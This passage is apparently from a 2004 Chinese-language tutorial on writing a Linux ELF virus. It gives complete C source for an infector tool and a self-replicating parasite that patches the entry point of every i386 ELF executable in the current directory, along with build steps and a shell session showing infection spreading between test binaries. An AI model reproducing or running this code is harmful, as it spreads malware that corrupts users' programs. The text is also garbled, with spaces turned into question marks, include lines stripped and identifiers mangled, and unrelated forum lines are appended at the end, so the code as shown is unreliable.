? ? ? ? || ehdr->e_ident[EI_DATA] != ELFDATA2LSB
? ? ? ? || ehdr->e_ident[EI_VERSION] != EV_CURRENT
? ? ? ? || ehdr->e_type != ET_EXEC
? ? ? ? || ehdr->e_machine != EM_386
? ? ? ? || ehdr->e_version != EV_CURRENT
? ? ? ? ) {
? ? ? ? V_DEBUG_WRITE(1, &err_type, sizeof(err_type));
? ? ? ? goto err;
? ? }
當前的代碼都是用C編寫,這樣很難象匯編代碼那樣進行更高程度的精簡,不過目前的
代碼體積還在合理的范圍,
在調試狀態和標準狀態分別是1744和1248
? ? #ifndef NDEBUG
? ? #define PARACODE_LENGTH 1744
? ? #else
? ? #define PARACODE_LENGTH 1248
? ? #endif
10 數據結構的不一致
? ? 與C庫的代碼調用類似,我們使用的頭文件中有一些數據類型的定義是經過
包裝的,與系統調用中使用的并不相同。代碼相關的兩個數據結構,單獨提取了出來。
struct dirent {
? ? long ? ? ? ?d_ino;
? ? unsigned long ? ?d_off;
? ? unsigned short ? ?d_reclen;
? ? char ? ? ? ?d_name[256]; /* We must not include limits.h! */
};
struct stat {
? ? unsigned long ?st_dev;
? ? unsigned long ?st_ino;
? ? unsigned short st_mode;
? ? unsigned short st_nlink;
? ? unsigned short st_uid;
? ? unsigned short st_gid;
? ? unsigned long ?st_rdev;
? ? unsigned long ?st_size;
? ? unsigned long ?st_blksize;
? ? unsigned long ?st_blocks;
? ? unsigned long ?st_atime;
? ? unsigned long ?st_atime_nsec;
? ? unsigned long ?st_mtime;
? ? unsigned long ?st_mtime_nsec;
? ? unsigned long ?st_ctime;
? ? unsigned long ?st_ctime_nsec;
? ? unsigned long ?__unused4;
? ? unsigned long ?__unused5;
};
五、** 在一個新的編譯環境下的調試方法
grip2@linux:~/tmp/virus> ls
g-elf-infector.c ?gsyscall.h ?gunistd.h ?gvirus.c ?gvirus.h ?foo.c ?Makefile ?parasite-sample.c ?parasite-sample.h
調整Makefile文件,將編譯模式改為調試模式,即關掉-DNDEBUG選項
grip2@linux:~/tmp/virus> cat Makefile
all: foo gei
gei: g-elf-infector.c gvirus.o
? ? ? ? gcc -O2 $< gvirus.o -o gei -Wall #-DNDEBUG
foo: foo.c
? ? ? ? gcc $< -o foo
gvirus.o: gvirus.c
? ? ? ? gcc $< -O2 -c -o gvirus.o -fomit-frame-pointer -Wall #-DNDEBUG
clean:
? ? ? ? rm *.o -rf
? ? ? ? rm foo -rf
? ? ? ? rm gei -rf
? ? ??
編譯代碼
grip2@linux:~/tmp/virus> make
gcc foo.c -o foo
gcc gvirus.c -O2 -c -o gvirus.o -fomit-frame-pointer -Wall #-DNDEBUG
gcc -O2 g-elf-infector.c gvirus.o -o gei -Wall #-DNDEBUG
先獲取病毒代碼長度,然后調整gvirus.c中的#define PARACODE_LENGTH定義
grip2@linux:~/tmp/virus> ./gei -l ? ?<-- 這里獲取病毒代碼的長度
Parasite code length: 1744
獲取病毒代碼開始位置和0xaabbccdd的地址,計算存放返回地址的地址的偏移
grip2@linux:~/tmp/virus> objdump -d gei|grep aabbccdd
?8049427: ? ? ? 68 dd cc bb aa ? ? ? ? ?push ? $0xaabbccdd
grip2@linux:~/tmp/virus> objdump -d gei|grep ""
08048d80 :
?8049450: ? ? ? e9 2b f9 ff ff ? ? ? ? ?jmp ? ?8048d80?
grip2@linux:~/tmp/virus> objdump -d gei|grep ":"
08048d80 :
0x8049427與0x8048d80相減即獲得我們需要的偏移,
用這個值更新gvirus.h中的#define PARACODE_RETADDR_ADDR_OFFSET宏的值
重新編譯
grip2@linux:~/tmp/virus> make clean
rm *.o -rf
rm foo -rf
rm gei -rf
grip2@linux:~/tmp/virus> make
gcc foo.c -o foo
gcc gvirus.c -O2 -c -o gvirus.o -fomit-frame-pointer -Wall #-DNDEBUG
gcc -O2 g-elf-infector.c gvirus.o -o gei -Wall #-DNDEBUG
grip2@linux:~/tmp/virus> ls
gei ? ? ? ? ? ? ? gsyscall.h ?gvirus.c ?gvirus.o ?foo.c ? ?parasite-sample.c
g-elf-infector.c ?gunistd.h ? gvirus.h ?foo ? ? ?Makefile ?parasite-sample.h
建立一個測試目錄,測試一下
grip2@linux:~/tmp/virus> mkdir test
grip2@linux:~/tmp/virus> cp gei foo test
grip2@linux:~/tmp/virus> cd test
grip2@linux:~/tmp/virus/test> ls
gei ?foo
grip2@linux:~/tmp/virus/test> cp foo h
制作帶毒程序
grip2@linux:~/tmp/virus/test> ./gei h
file size: 8668
e_phoff: 00000034
e_shoff: 00001134
e_phentsize: 00000020
e_phnum: 00000008
e_shentsize: 00000028
e_shnum: 00000025
text segment file offset: 0
[15 sections patched]
grip2@linux:~/tmp/virus/test> ll
total 44
-rwxr-xr-x ?1 grip2 users 14211 2004-12-13 07:50 gei
-rwxr-xr-x ?1 grip2 users 12764 2004-12-13 07:51 h
-rwxr-xr-x ?1 grip2 users ?8668 2004-12-13 07:50 foo
運行帶毒程序
grip2@linux:~/tmp/virus/test> ./h
.
..
gei
foo
h
.backup.h
real elf point
grip2@linux:~/tmp/virus/test> ll
total 52
-rwxr-xr-x ?1 grip2 users 18307 2004-12-13 07:51 gei
-rwxr-xr-x ?1 grip2 users 12764 2004-12-13 07:51 h
-rwxr-xr-x ?1 grip2 users 12764 2004-12-13 07:51 foo
測試上面帶毒程序運行后,是否感染了其他ELF程序
grip2@linux:~/tmp/virus/test> ./foo
.
..
gei
Better luck next file
foo
h
Better luck next file
.backup.h
Better luck next file
real elf point
OK,成功
grip2@linux:~/tmp/virus/test> cp ../foo hh
grip2@linux:~/tmp/virus/test> ll
total 64
-rwxr-xr-x ?1 grip2 users 18307 2004-12-13 07:51 gei
-rwxr-xr-x ?1 grip2 users 12764 2004-12-13 07:51 h
-rwxr-xr-x ?1 grip2 users ?8668 2004-12-13 07:51 hh
-rwxr-xr-x ?1 grip2 users 12764 2004-12-13 07:51 foo
grip2@linux:~/tmp/virus/test> ./foo
.
..
gei
Better luck next file
foo
h
Better luck next file
.backup.h
Better luck next file
hh
real elf point
grip2@linux:~/tmp/virus/test>
六、** 最后
? ? 由于我既不是一個virus coder也不是一個anti-virus coder,所以對病毒
技術的掌握應該是有欠缺的。如果在文章中對病毒技術的描述不夠準確,分析不夠到
位,還請指正,謝謝。
七、** 參考文獻
1 Silvio Cesare 的《UNIX ELF PARASITES AND VIRUS》
2 ELF文檔
3 更多的安全技術交流
http://www.linuxforum.net/forum/showflat.php?Cat=&Board=security&
Number=479955&page=0&view=collapsed&sb=5&o=31&fpart=
八、** 附錄 - ELF文件感染工具和病毒原型源代碼
------------------------------ g-elf_infector.c ------------------------------
/*
?* gei - ELF Infector v0.0.2 ?(2004)
?* written by grip2?
?*/
#include?
#include?
#include?
#include?
#include?
#include?
#include?
#include?
#include "gvirus.h"
#define PAGE_SIZE 4096
#define PAGE_ALIGN(a) (((a) + PAGE_SIZE - 1) & ~(PAGE_SIZE - 1))
static int elf_infect(const char *filename,
? ? ? ? void *para_code,
? ? ? ? unsigned int para_code_size,
? ? ? ? unsigned long retaddr_addr_offset);
int main(int argc, char *argv[])
{
#define MAX_FILENAME_LEN 256
? ? char backup[MAX_FILENAME_LEN*4];
? ? char restore[MAX_FILENAME_LEN*4];
? ? if (argc != 2) {
? ? ? ? fprintf(stderr,
? ? ? ? ? ? "gei - ELF Infector v0.0.2 written by grip2 \n");
? ? ? ? fprintf(stderr, "Usage: %s \n", argv[0]);
? ? ? ? return 1;
? ? }
? ? if (strcmp(argv[1], "-l") == 0) {
? ? ? ? fprintf(stderr, "Parasite code length: %d\n",
? ? ? ? ? ? ? ? ?site_code_end - ?site_code);
? ? ? ? return 1;
? ? }
? ? if (strlen(argv[1]) > MAX_FILENAME_LEN) {
? ? ? ? fprintf(stderr, "filename too long!\n");
? ? ? ? return 1;
? ? }
? ?
? ? sprintf(backup, "cp -f %s .backup.%s\n", argv[1], argv[1]);
? ? sprintf(restore, "cp -f .backup.%s %s\n", argv[1], argv[1]);
? ? system(backup);
? ? if (elf_infect(argv[1], ?site_code,
? ? ? ? ? ? ?site_code_end - ?site_code,
? ? ? ? ? ? PARACODE_RETADDR_ADDR_OFFSET) < 0) {
? ? ? ? system(restore);
? ? ? ? return 1;
? ? }
? ? return 0;
}
static int elf_infect(const char *filename,
? ? ? ? void *para_code,
? ? ? ? unsigned int para_code_size,
? ? ? ? unsigned long retaddr_addr_offset)
{
? ? int fd = -1;
? ? int tmp_fd = -1;
? ? Elf32_Ehdr *ehdr = NULL;
? ? Elf32_Phdr *phdr;
? ? Elf32_Shdr *shdr;
? ? int i;
? ? int txt_index;
? ? struct stat stat;
? ? int align_code_size;
? ? unsigned long org_entry;
? ? void *new_code_pos;
? ? int tmp_flag;
? ? int size;
? ? unsigned char tmp_para_code[PAGE_SIZE];
? ? char *tmpfile;
? ? tmpfile = tempnam(NULL, "infector");
? ? fd = open(filename, O_RDWR);
? ? if (fd == -1) {
? ? ? ? perror(filename);
? ? ? ? goto err;
? ? }
? ? if (fstat(fd, &stat) == -1) {
? ? ? ? perror("fstat");
? ? ? ? goto err;
? ? }
#ifndef NDEBUG
? ? printf("file size: %lu\n", stat.st_size);
#endif
? ? ehdr = mmap(0, stat.st_size, PROT_WRITE|PROT_READ, MAP_SHARED, fd, 0);
? ? if (ehdr == MAP_FAILED) {
? ? ? ? perror("mmap ehdr");
? ? ? ? goto err;
? ? }
? ?
? ? /* Check ELF magic-ident */
? ? if (ehdr->e_ident[EI_MAG0] != 0x7f
? ? ? ? || ehdr->e_ident[EI_MAG1] != 'E'
? ? ? ? || ehdr->e_ident[EI_MAG2] != 'L'
? ? ? ? || ehdr->e_ident[EI_MAG3] != 'F'
? ? ? ? || ehdr->e_ident[EI_CLASS] != ELFCLASS32
? ? ? ? || ehdr->e_ident[EI_DATA] != ELFDATA2LSB
? ? ? ? || ehdr->e_ident[EI_VERSION] != EV_CURRENT
? ? ? ? || ehdr->e_type != ET_EXEC
? ? ? ? || ehdr->e_machine != EM_386
? ? ? ? || ehdr->e_version != EV_CURRENT
? ? ? ? ) {
? ? ? ? fprintf(stderr, "File type not supported\n");
? ? ? ? goto err;
? ? }
#ifndef NDEBUG
? ? printf("e_phoff: %08x\ne_shoff: %08x\n",
? ? ? ? ? ? ehdr->e_phoff, ehdr->e_shoff);
? ? printf("e_phentsize: %08x\n", ehdr->e_phentsize);
? ? printf("e_phnum: %08x\n", ehdr->e_phnum);
? ? printf("e_shentsize: %08x\n", ehdr->e_shentsize);
? ? printf("e_shnum: %08x\n", ehdr->e_shnum);
#endif
? ? align_code_size = PAGE_ALIGN(para_code_size);
? ? /* Get program header and section header start address */
? ? phdr = (Elf32_Phdr *) ((unsigned long) ehdr + ehdr->e_phoff);
? ? shdr = (Elf32_Shdr *) ((unsigned long) ehdr + ehdr->e_shoff);
? ? /* Locate the text segment */
? ? txt_index = 0;
? ? while (1) {
? ? ? ? if (txt_index == ehdr->e_phnum - 1) {
? ? ? ? ? ? fprintf(stderr, "Invalid e_phnum, text segment not found.\n");
? ? ? ? ? ? goto err;
? ? ? ? }
? ? ? ? if (phdr[txt_index].p_type == PT_LOAD
? ? ? ? ? ? && phdr[txt_index].p_flags == (PF_R|PF_X)) { /* text segment */
#ifndef NDEBUG
? ? ? ? ? ? printf("text segment file offset: %u\n", phdr[txt_index].p_offset);
#endif
? ? ? ? ? ? if (phdr[txt_index].p_vaddr + phdr[txt_index].p_filesz + align_code_size
? ? ? ? ? ? ? ? ? ? ? ? > phdr[txt_index+1].p_vaddr) {
? ? ? ? ? ? ? ? fprintf(stderr, "Better luck next file :-)\n"); ??
? ? ? ? ? ? ? ? goto err;
? ? ? ? ? ? }
? ? ? ? ? ? break;
? ? ? ? }
? ? ? ? txt_index++;
? ? } ??
? ? /* Modify the entry point of the ELF */
? ? org_entry = ehdr->e_entry;
? ? ehdr->e_entry = phdr[txt_index].p_vaddr + phdr[txt_index].p_filesz;
? ? new_code_pos =
? ? ? ? (void *) ehdr + phdr[txt_index].p_offset + phdr[txt_index].p_filesz;
? ? /* Increase the p_filesz and p_memsz of text segment
? ? ?* for new code */
? ? phdr[txt_index].p_filesz += align_code_size;
? ? phdr[txt_index].p_memsz += align_code_size;
? ? for (i = 0; i < ehdr->e_phnum; i++)
? ? ? ? if (phdr[i].p_offset >= (unsigned long) new_code_pos - (unsigned long) ehdr)
? ? ? ? ? ? phdr[i].p_offset += align_code_size;
? ? tmp_flag = 0;
? ? for (i = 0; i < ehdr->e_shnum; i++) {
? ? ? ? if (shdr[i].sh_offset >= (unsigned long) new_code_pos - (unsigned long) ehdr) {
? ? ? ? ? ? shdr[i].sh_offset += align_code_size;
? ? ? ? ? ? if (!tmp_flag && i) { /* associating the new_code to the last
? ? ? ? ? ? ? ? ? ? ? ? ? ?* section in the text segment */
? ? ? ? ? ? ? ? shdr[i-1].sh_size += align_code_size;
? ? ? ? ? ? ? ? tmp_flag = 1;
? ? ? ? ? ? ? ? printf("[%d sections patched]\n", i-1);
? ? ? ? ? ? }
? ? ? ? }
? ? }
? ? /* Increase p_shoff in the ELF header */
? ? ehdr->e_shoff += align_code_size;
? ? /* Make a new file */
? ? tmp_fd = open(tmpfile, O_WRONLY|O_CREAT, stat.st_mode);
? ? if (tmp_fd == -1) {
? ? ? ? perror("open");
? ? ? ? goto err;
? ? }
? ? size = new_code_pos - (void *) ehdr;
? ? if (write(tmp_fd, ehdr, size) != size) {
? ? ? ? perror("write");
? ? ? ? goto err;
? ? }
? ? memcpy(tmp_para_code, para_code, para_code_size);
? ? memcpy(tmp_para_code + retaddr_addr_offset,
? ? ? ? ? ? &org_entry, sizeof(org_entry));
? ? if (write(tmp_fd, tmp_para_code, align_code_size) != align_code_size) {
? ? ? ? perror("write");
? ? ? ? goto err;
? ? }
? ?
? ? if (write(tmp_fd, (void *) ehdr + size, stat.st_size - size)
? ? ? ? ? ? ? ? != stat.st_size - size) {
? ? ? ? perror("write");
? ? ? ? goto err;
? ? }
? ? close(tmp_fd);
? ? munmap(ehdr, stat.st_size);
? ? close(fd);
? ? if (rename(tmpfile, filename) == -1) {
? ? ? ? perror("rename");
? ? ? ? goto err;
? ? }
? ? return 0;
err:
? ? if (tmp_fd != -1)
? ? ? ? close(tmp_fd);
? ? if (ehdr)
? ? ? ? munmap(ehdr, stat.st_size);
? ? if (fd != -1)
? ? ? ? close(fd);
? ? return -1;
}
------------------------------ g-elf_infector.c ------------------------------
------------------------------ gvirus.h ------------------------------
#ifndef _G2_PARASITE_CODE_
#define _G2_PARASITE_CODE_
#ifndef NDEBUG
#define PARACODE_RETADDR_ADDR_OFFSET 1704
#else
#define PARACODE_RETADDR_ADDR_OFFSET 1232
#endif
void parasite_code(void);
void parasite_code_end(void);
#endif
------------------------------ gvirus.h ------------------------------
------------------------------ gvirus.c ------------------------------
/*
?* virus code in C (2004)
?* written by grip2?
?*/
#include "gsyscall.h"
#include "gvirus.h"
#include?
#define PAGE_SIZE 4096
#define PAGE_ALIGN(a) (((a) + PAGE_SIZE - 1) & ~(PAGE_SIZE - 1))
#ifndef NDEBUG
#define PARACODE_LENGTH 1744
#else
#define PARACODE_LENGTH 1248
#endif
#ifndef NDEBUG
#define V_DEBUG_WRITE(...) \
? ? do {\
? ? ? ? g_write(__VA_ARGS__);\
? ? } while(0)
#else
#define V_DEBUG_WRITE(...)
#endif
static inline int infect_virus(
? ? ? ? const char *file,
? ? ? ? void *v_code,
? ? ? ? unsigned int v_code_size,
? ? ? ? unsigned long v_retaddr_addr_offset)
{
? ? int fd = -1;
? ? int tmp_fd = -1;
? ? Elf32_Ehdr *ehdr = NULL;
? ? Elf32_Phdr *phdr;
? ? Elf32_Shdr *shdr;
? ? int i;
? ? int txt_index;
? ? struct stat stat;
? ? int align_code_size;
? ? unsigned long org_entry;
? ? void *new_code_pos;
? ? int tmp_flag;
? ? int size;
? ? unsigned char tmp_v_code[PAGE_SIZE];
? ? char tmpfile[32] = {'/','t','m','p','/','.','g','v','i','r','u','s','\0'};
#ifndef NDEBUG
? ? char err_type[32] = {'f','i','l','e',' ','t','y','p','e',' ','n','o','t',' ',
? ? ? ? ? ? 's','u','p','p','o','r','t','e','d','\n','\0'};
? ? char luck[32] = {'B','e','t','t','e','r',' ','l','u','c','k',' ',
? ? ? ? ? ? 'n','e','x','t',' ','f','i','l','e','\n','\0'};
#endif
? ? fd = g_open(file, O_RDWR, 0);
? ? if (fd == -1) {
? ? ? ? goto err;
? ? }
? ? if (g_fstat(fd, &stat) == -1) {
? ? ? ? goto err;
? ? }
? ? ehdr = g_mmap2(0, stat.st_size, PROT_WRITE|PROT_READ, MAP_SHARED, fd, 0);
? ? if (ehdr == MAP_FAILED) {
? ? ? ? goto err;
? ? }
? ?
? ? /* Check ELF magic-ident */
? ? if (ehdr->e_ident[EI_MAG0] != 0x7f
? ? ? ? || ehdr->e_ident[EI_MAG1] != 'E'
? ? ? ? || ehdr->e_ident[EI_MAG2] != 'L'
? ? ? ? || ehdr->e_ident[EI_MAG3] != 'F'
? ? ? ? || ehdr->e_ident[EI_CLASS] != ELFCLASS32
? ? ? ? || ehdr->e_ident[EI_DATA] != ELFDATA2LSB
? ? ? ? || ehdr->e_ident[EI_VERSION] != EV_CURRENT
? ? ? ? || ehdr->e_type != ET_EXEC
? ? ? ? || ehdr->e_machine != EM_386
? ? ? ? || ehdr->e_version != EV_CURRENT
? ? ? ? ) {
? ? ? ? V_DEBUG_WRITE(1, &err_type, sizeof(err_type));
? ? ? ? goto err;
? ? }
? ? align_code_size = PAGE_ALIGN(v_code_size);
? ? /* Get program header and section header start address */
? ? phdr = (Elf32_Phdr *) ((unsigned long) ehdr + ehdr->e_phoff);
? ? shdr = (Elf32_Shdr *) ((unsigned long) ehdr + ehdr->e_shoff);
? ? /* Locate the text segment */
? ? txt_index = 0;
? ? while (1) {
? ? ? ? if (txt_index == ehdr->e_phnum - 1)
? ? ? ? ? ? goto err;
? ? ? ? if (phdr[txt_index].p_type == PT_LOAD
? ? ? ? ? ? && phdr[txt_index].p_flags == (PF_R|PF_X)) { /* text segment */
? ? ? ? ? ? if (phdr[txt_index].p_vaddr + phdr[txt_index].p_filesz + align_code_size
? ? ? ? ? ? ? ? ? ? ? ? > phdr[txt_index+1].p_vaddr) {
? ? ? ? ? ? ? ? V_DEBUG_WRITE(1, &luck, sizeof(luck)); ??
? ? ? ? ? ? ? ? goto err;
? ? ? ? ? ? }
? ? ? ? ? ? break;
? ? ? ? }
? ? ? ? txt_index++;
? ? } ??
? ? /* Modify the entry point of the ELF */
? ? org_entry = ehdr->e_entry;
? ? ehdr->e_entry = phdr[txt_index].p_vaddr + phdr[txt_index].p_filesz;
? ? new_code_pos =
? ? ? ? (void *) ehdr + phdr[txt_index].p_offset + phdr[txt_index].p_filesz;
? ? /* Increase the p_filesz and p_memsz of text segment
? ? ?* for new code */
? ? phdr[txt_index].p_filesz += align_code_size;
? ? phdr[txt_index].p_memsz += align_code_size;
? ? for (i = 0; i < ehdr->e_phnum; i++)
? ? ? ? if (phdr[i].p_offset >= (unsigned long) new_code_pos - (unsigned long) ehdr)
? ? ? ? ? ? phdr[i].p_offset += align_code_size;
? ? tmp_flag = 0;
? ? for (i = 0; i < ehdr->e_shnum; i++) {
? ? ? ? if (shdr[i].sh_offset >= (unsigned long) new_code_pos - (unsigned long) ehdr) {
? ? ? ? ? ? shdr[i].sh_offset += align_code_size;
? ? ? ? ? ? if (!tmp_flag && i) { /* associating the new_code to the last
? ? ? ? ? ? ? ? ? ? ? ? ? ?* section in the text segment */
? ? ? ? ? ? ? ? shdr[i-1].sh_size += align_code_size;
? ? ? ? ? ? ? ? tmp_flag = 1;
? ? ? ? ? ? }
? ? ? ? }
? ? }
? ? /* Increase p_shoff in the ELF header */
? ? ehdr->e_shoff += align_code_size;
? ? /* Make a new file */
? ? tmp_fd = g_open(tmpfile, O_WRONLY|O_CREAT|O_TRUNC, stat.st_mode);
? ? if (tmp_fd == -1) {
? ? ? ? goto err;
? ? }
? ? size = new_code_pos - (void *) ehdr;
? ? if (g_write(tmp_fd, ehdr, size) != size)
? ? ? ? goto err;
? ? __memcpy(tmp_v_code, v_code, v_code_size);
? ? __memcpy(tmp_v_code + v_retaddr_addr_offset, &org_entry, sizeof(org_entry));
? ? if (g_write(tmp_fd, tmp_v_code, align_code_size) != align_code_size) {
? ? ? ? goto err;
? ? }
? ? if (g_write(tmp_fd, (void *) ehdr + size, stat.st_size - size)
? ? ? ? ? ? ? ? != stat.st_size - size) {
? ? ? ? goto err;
? ? }
? ? g_close(tmp_fd);
? ? g_munmap(ehdr, stat.st_size);
? ? g_close(fd);
? ? if (g_rename(tmpfile, file) == -1) {
? ? ? ? goto err;
? ? }
? ? return 0;
err:
? ? if (tmp_fd != -1)
? ? ? ? g_close(tmp_fd);
? ? if (ehdr)
? ? ? ? g_munmap(ehdr, stat.st_size);
? ? if (fd != -1)
? ? ? ? g_close(fd);
? ? return -1;
}
static inline void virus_code(void)
{
? ? char dirdata[4096];
? ? struct dirent *dirp;
? ? int curfd;
? ? int nbyte, c;
? ? unsigned long para_code_start_addr;
? ? __asm__ volatile (
? ? ? ? "push %%eax\n\t"
? ? ? ? "push %%ecx\n\t"
? ? ? ? "push %%edx\n\t"
? ? ? ? ::);
? ? char curdir[2] = {'.', 0};
? ? char newline = '\n';
? ? curdir[0] = '.';
? ? curdir[1] = 0;
? ? newline = '\n';
? ? if ((curfd = g_open(curdir, O_RDONLY, 0)) < 0)
? ? ? ? goto out;
? ?
? ? /* Get start address of virus code */
? ? __asm__ volatile (
? ? ? ? "jmp get_start_addr\n"
? ? "infect_start:\n\t"
? ? ? ? "popl %0\n\t"
? ? ? ? :"=m" (para_code_start_addr)
? ? ? ? :);
? ? para_code_start_addr -= PARACODE_RETADDR_ADDR_OFFSET - 1;
? ? /* Infecting */
? ? while ((nbyte = g_getdents(curfd, (struct dirent *)
? ? ? ? ? ? ? ? &dirdata, sizeof(dirdata))) > 0) {
? ? ? ? c = 0;
? ? ? ? dirp = (struct dirent *) &dirdata;
? ? ? ? do {
? ? ? ? ? ? V_DEBUG_WRITE(1, dirp->d_name, dirp->d_reclen - (unsigned long)
? ? ? ? ? ? ? ? ? ? &(((struct dirent *) 0)->d_name));
? ? ? ? ? ? V_DEBUG_WRITE(1, &newline, sizeof(newline));
? ? ? ? ? ?
? ? ? ? ? ? infect_virus(dirp->d_name,
? ? ? ? ? ? ? ? ? ? (void *) para_code_start_addr,
? ? ? ? ? ? ? ? ? ? PARACODE_LENGTH,
? ? ? ? ? ? ? ? ? ? PARACODE_RETADDR_ADDR_OFFSET);
? ? ? ? ? ? c += dirp->d_reclen;
? ? ? ? ? ? if (c >= nbyte)
? ? ? ? ? ? ? ? break;
? ? ? ? ? ? dirp = (struct dirent *)((char *)dirp + dirp->d_reclen);
? ? ? ? } while (1);
? ? }
? ? g_close(curfd);
out:
? ? __asm__ volatile (
? ? ? ? "popl %%edx\n\t"
? ? ? ? "popl %%ecx\n\t"
? ? ? ? "popl %%eax\n\t"
? ? ? ? "addl $0x102c, %%esp\n\t"
? ? ? ? "popl %%ebx\n\t"
? ? ? ? "popl %%esi\n\t"
? ? ? ? "popl %%edi\n\t"
? ? ? ? "popl %%ebp\n\t"
? ? ? ? "jmp return\n"
? ? "get_start_addr:\n\t"
? ? ? ? "call infect_start\n"
? ? "return:\n\t"
? ? ? ? "push $0xAABBCCDD\n\t" /* push ret_addr */
? ? ? ? "ret\n"
? ? ? ? ::);
}
void parasite_code(void)
{
? ? virus_code();
}
void parasite_code_end(void) {parasite_code();}
------------------------------ gvirus.c ------------------------------
------------------------------ gunistd.h ------------------------------
#ifndef _G2_UNISTD_
#define _G2_UNISTD_
#define g__syscall_return(type, res) \
do { \
? ? if ((unsigned long)(res) >= (unsigned long)(-125)) { \
? ? ? ? res = -1; \
? ? } \
? ? return (type) (res); \
} while (0)
#define g_syscall0(type,name) \
type g_##name(void) \
{ \
long __res; \
__asm__ volatile ("int $0x80" \
? ? : "=a" (__res) \
? ? : "0" (__NR_##name)); \
g__syscall_return(type,__res); \
}
#define g_syscall1(type,name,type1,arg1) \
type g_##name(type1 arg1) \
{ \
long __res; \
__asm__ volatile ("int $0x80" \
? ? : "=a" (__res) \
? ? : "0" (__NR_##name),"b" ((long)(arg1))); \
g__syscall_return(type,__res); \
}
#define g_syscall2(type,name,type1,arg1,type2,arg2) \
type g_##name(type1 arg1,type2 arg2) \
{ \
long __res; \
__asm__ volatile ("int $0x80" \
? ? : "=a" (__res) \
? ? : "0" (__NR_##name),"b" ((long)(arg1)),"c" ((long)(arg2))); \
g__syscall_return(type,__res); \
}
#define g_syscall3(type,name,type1,arg1,type2,arg2,type3,arg3) \
type g_##name(type1 arg1,type2 arg2,type3 arg3) \
{ \
long __res; \
__asm__ volatile ("int $0x80" \
? ? : "=a" (__res) \
? ? : "0" (__NR_##name),"b" ((long)(arg1)),"c" ((long)(arg2)), \
? ? ? ? ? "d" ((long)(arg3))); \
g__syscall_return(type,__res); \
}
#define g_syscall4(type,name,type1,arg1,type2,arg2,type3,arg3,type4,arg4) \
type g_##name (type1 arg1, type2 arg2, type3 arg3, type4 arg4) \
{ \
long __res; \
__asm__ volatile ("int $0x80" \
? ? : "=a" (__res) \
? ? : "0" (__NR_##name),"b" ((long)(arg1)),"c" ((long)(arg2)), \
? ? ? "d" ((long)(arg3)),"S" ((long)(arg4))); \
g__syscall_return(type,__res); \
}
#define g_syscall5(type,name,type1,arg1,type2,arg2,type3,arg3,type4,arg4, \
? ? ? type5,arg5) \
type g_##name (type1 arg1,type2 arg2,type3 arg3,type4 arg4,type5 arg5) \
{ \
long __res; \
__asm__ volatile ("int $0x80" \
? ? : "=a" (__res) \
? ? : "0" (__NR_##name),"b" ((long)(arg1)),"c" ((long)(arg2)), \
? ? ? "d" ((long)(arg3)),"S" ((long)(arg4)),"D" ((long)(arg5))); \
g__syscall_return(type,__res); \
}
#define g_syscall6(type,name,type1,arg1,type2,arg2,type3,arg3,type4,arg4, \
? ? ? type5,arg5,type6,arg6) \
type g_##name (type1 arg1,type2 arg2,type3 arg3,type4 arg4,type5 arg5,type6 arg6) \
{ \
long __res; \
__asm__ volatile ("push %%ebp ; movl %%eax,%%ebp ; movl %1,%%eax ; int $0x80 ; pop %%ebp" \
? ? : "=a" (__res) \
? ? : "i" (__NR_##name),"b" ((long)(arg1)),"c" ((long)(arg2)), \
? ? ? "d" ((long)(arg3)),"S" ((long)(arg4)),"D" ((long)(arg5)), \
? ? ? "0" ((long)(arg6))); \
g__syscall_return(type,__res); \
}
#endif /* _G2_UNISTD_ */
------------------------------ gunistd.h ------------------------------
------------------------------ gsyscall.h ------------------------------
#ifndef _G2_SYSCALL_
#define _G2_SYSCALL_
#include?
#include?
#include?
#include?
#include "gunistd.h"
#define NULL 0
struct dirent {
? ? long ? ? ? ?d_ino;
? ? unsigned long ? ?d_off;
? ? unsigned short ? ?d_reclen;
? ? char ? ? ? ?d_name[256]; /* We must not include limits.h! */
};
struct stat {
? ? unsigned long ?st_dev;
? ? unsigned long ?st_ino;
? ? unsigned short st_mode;
? ? unsigned short st_nlink;
? ? unsigned short st_uid;
? ? unsigned short st_gid;
? ? unsigned long ?st_rdev;
? ? unsigned long ?st_size;
? ? unsigned long ?st_blksize;
? ? unsigned long ?st_blocks;
? ? unsigned long ?st_atime;
? ? unsigned long ?st_atime_nsec;
? ? unsigned long ?st_mtime;
? ? unsigned long ?st_mtime_nsec;
? ? unsigned long ?st_ctime;
? ? unsigned long ?st_ctime_nsec;
? ? unsigned long ?__unused4;
? ? unsigned long ?__unused5;
};
static inline g_syscall3(int, write, int, fd, const void *, buf, off_t, count);
static inline g_syscall3(int, getdents, uint, fd, struct dirent *, dirp, uint, count);
static inline g_syscall3(int, open, const char *, file, int, flag, int, mode);
static inline g_syscall1(int, close, int, fd);
static inline g_syscall6(void *, mmap2, void *, addr, size_t, len, int, prot,
? ? ? ? ? ?int, flags, int, fd, off_t, offset);
static inline g_syscall2(int, munmap, void *, addr, size_t, len);
static inline g_syscall2(int, rename, const char *, oldpath, const char *, newpath);
static inline g_syscall2(int, fstat, int, filedes, struct stat *, buf);
static inline void * __memcpy(void * to, const void * from, size_t n)
{
? ? int d0, d1, d2;
? ? __asm__ __volatile__(
? ? ? ? "rep ; movsl\n\t"
? ? ? ? "testb $2,%b4\n\t"
? ? ? ? "je 1f\n\t"
? ? ? ? "movsw\n"
? ? ? ? "1:\ttestb $1,%b4\n\t"
? ? ? ? "je 2f\n\t"
? ? ? ? "movsb\n"
? ? ? ? "2:"
? ? ? ? : "=&c" (d0), "=&D" (d1), "=&S" (d2)
? ? ? ? :"0" (n/4), "q" (n),"1" ((long) to),"2" ((long) from)
? ? ? ? : "memory");
? ? return (to);
}
#endif /* _G2_SYSCALL_ */
------------------------------ gsyscall.h ------------------------------
------------------------------ foo.c ------------------------------
#include?
int main()
{
? ? puts("real elf point");
? ? return 0;
}
------------------------------ foo.c ------------------------------
------------------------------ Makefile ------------------------------
all: foo gei
gei: g-elf-infector.c gvirus.o
? ? gcc -O2 $< gvirus.o -o gei -Wall -DNDEBUG
foo: foo.c
? ? gcc $< -o foo
gvirus.o: gvirus.c
? ? gcc $< -O2 -c -o gvirus.o -fomit-frame-pointer -Wall -DNDEBUG
clean:
? ? rm *.o -rf
? ? rm foo -rf
? ? rm gei -rf
?基予Ubuntu Linux病毒可能的探討——編寫Linux病毒并不難
一 ?你也可以編一個簡單的病毒
另外linux的殺毒應該算是國外版的,國外起點較早。
很多人認為Linux病毒似乎離我們很遠,但是我現在要說的是,恰恰相反,Linux病毒根本就在我們身邊。而且更容易獲得。
這是一個關于ubuntu麒麟的帖子
http://bbs.kafan.cn/thread-1797636-1-1.html
